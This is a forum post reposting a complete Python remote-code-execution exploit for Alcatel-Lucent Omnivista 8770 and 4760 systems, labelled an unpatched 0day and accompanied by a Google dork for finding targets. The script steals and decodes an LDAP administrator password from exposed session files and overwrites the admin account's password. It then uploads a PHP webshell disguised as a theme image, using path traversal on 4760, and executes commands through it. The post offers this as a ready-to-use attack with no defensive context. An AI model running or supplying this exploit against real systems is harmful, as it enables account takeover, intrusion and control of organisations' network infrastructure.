Hoşgeldin Misafir

Alcatel-Lucent Omnivista 8770 - Remote Code Execution Exploit

NasyoneL

NasyoneL

Karanlık Özgürlüktür
25 Ağu 2017
25,060 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Alcatel-Lucent Omnivista 8770 - Remote Code Execution Exploit--


Kod:
# Exploit Title: Alcatel-Lucent Omnivista 8770 - Remote Code Execution
# Google Dork: inurl:php-bin/webclient.php
# Author: 0x1911
# Vendor Homepage: https://www.al-enterprise.com/
# Software Link: https://www.al-enterprise.com/en/products/communications-management-security/omnivista-8770-network-management-system
# Version: All versions, still unpatched
# Tested on: Windows 2003/2008
# CVE : 0day
 
# Exploit attached, also available here https://git.lsd.cat/g/omnivista-rce/src/master/omnivista.py
# Full writeup at https://git.lsd.cat/g/omnivista-rce/src/master/README.md
 
 
'''
Original url: https://git.lsd.cat/g/omnivista-rce
Website: https://lsd.cat
'''
import requests
import socket
import ldap
import sys
from urllib.parse import urlparse
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
 
class OmniVista:
        def __init__(self, host):
                self.host = host
                self.addr = (urlparse(self.host).hostname)
                self.folders = ['php-bin/', 'soap-bin/', 'bin/', 'data/', 'Themes/', 'log/']
                self.filename = "poc.php"
                self.webshell = "<?php system($_REQUEST[0]) ?>"
 
        def identify(self):
                r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
                if '8770' in r.text:
                        return 8770
                elif '4760' in r.text:
                        return 4760
                else:
                        return False
 
        def checkldap(self):
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(10)
                result = s.connect_ex((self.addr, 389))
                if result == 0:
                        return True
 
        def info(self):
                r = requests.post(self.host + 'php-bin/info.php', data={"void": "phDPhd"}, verify=False)
                if 'PHP Version' in r.text:
                        return r.text
                else:
                        return False
 
        def getpassword(self):
                r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
                id = r.headers['Set-Cookie'].split(";")[0].split("=")[1]
                r = requests.get(self.host + 'sessions/sess_' + id, verify=False)
                lenght = int(r.text.split("ldapSuPass")[1][3:5])
                password = r.text.split("ldapSuPass")[1][7:7+lenght]
                return password
 
        def decodepassword(self, password):
                counter = 0
                key = 16
                cleartext = ""
                if password[0:5] == "{NMC}":
                        password = password[5:]
                else:
                        return False
                for char in password:
                        if 32 <= ord(char):
                                char = chr(ord(char) ^ key)
                                cleartext += char
                        else:
                                cleartext += char
                        if ord(char) != 0:
                                key = counter * ord(char) % 255 >> 3
                        else:
                                key = 16
                        counter += 1
                return cleartext
 
        def connectldap(self):
                connect = ldap.initialize('ldap://' + self.addr)
                connect.set_option(ldap.OPT_REFERRALS, 0)
                connect.simple_bind_s(self.username, self.password)
                result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE, '(cn=AdminNmc)')
                print('[*] Current AdminNmc password: ' + str(result[0][1]['userpassword'][0]))
                self.bind = connect
                return True
 
        def editadminpassword(self):
                self.adminusername = "AdminNmc"
                self.adminpassword = "Lsdcat_exploit1!"
                self.bind.modify_s("uid=AdminNmc,cn=Administrators,cn=8770 administration,o=nmc", [(ldap.MOD_REPLACE, 'userpassword', self.adminpassword.encode('utf-8') )])
                return True
 
        def login(self):
                self.session = requests.session()
                r = self.session.post(self.host + 'php-bin/webclient.php', data = {"action": "loginCheck", "userLogin": self.adminusername, "userPass": self.adminpassword }, verify = False)
                if 'Directory license is required!' in r.text:
                        return False
                else:
                        return True
 
        def exploit8770(self):
                r = self.session.get(self.host + 'php-bin/webclient.php', params = {'action': 'editTheme', 'themeId': "2"}, verify=False)
                r = self.session.post(self.host + 'php-bin/webclient.php',
                        data = {"action": "saveTheme", "themeId": "2"},
                        files = { "BgImg1": (self.filename, self.webshell, "image/png")},
                        verify = False)
                if 'success' in r.text:
                        return True
 
        def exec8770(self):
                return requests.post(self.host + 'Theme2/' + 'poc.php', data = {"0": cmd}, verify=False).text
 
        def exploit4760(self):
                for folder in self.folders:
                        r = requests.post(self.host + 'php-bin/webclient.php',
                                data = {"action": "saveTheme", "themeId": "5/../../{}".format(folder), "themeDate": ""},
                                files = { "BgImg1": (self.filename, self.webshell, "image/png")},
                        verify=False)
                        if 'success' in r.text:
                                self.folder = folder
                                return True
 
        def exec4760(self, cmd):
                return requests.post(self.host + self.folder + 'poc.php', data = {"0": cmd}, verify=False).text
 
        def autoexploit(self):
                print('[*] Attempting to exploit on {}'.format(self.host))
                self.model = self.identify()
                if self.model == 4760:
                        print('[*] Model is {}'.format(str(self.model)))
                        self.exploit4760()
                        print('[*] Upload folder is {}'.format(self.folder))
                        output = self.exec4760("whoami")
                        print('[*] Webshell at {}{}{}'.format(self.host, self.folder, self.filename))
                        print('[*] Command output: '.format(output))
                elif self.model == 8770:
                        print('[*] Model is {}'.format(str(self.model)))
                        self.username = "cn=Directory Manager"
                        self.password = self.decodepassword(self.getpassword())
                        print('[*] {} password is "{}"'.format(self.username, self.password))
                        if self.checkldap():
                                print('[*] LDAP Service is accessible!')
                                self.connectldap()
                                print('[*] Changing AdminNmc password')
                                self.editadminpassword()
                                print('[*] Logging in')
                                if self.login():
                                        self.exploit8770()
                                        output = self.exec8770("whoami")
                                        print('[*] Webshell at {}{}{}'.format(self.host, "themes/Theme2/", self.filename))
                                        print('[*] Command output: '.format(output))
                                else:
                                        print("[x] Directory license not installed :/")
                                        return False
                        else:
                                print("[x] LDAP Service is not directly accessible")
                                return False
 
                else:
                        print("[x] Target is not an OmniVista 4760/8770")
                        return False
 
if len(sys.argv) != 2:
        print("Usage: ./omnivista.py http(s)://target.tld:port/")
else:
        exploit = OmniVista(sys.argv[1])
        exploit.autoexploit()
 
#  0day.today [2019-12-10]  #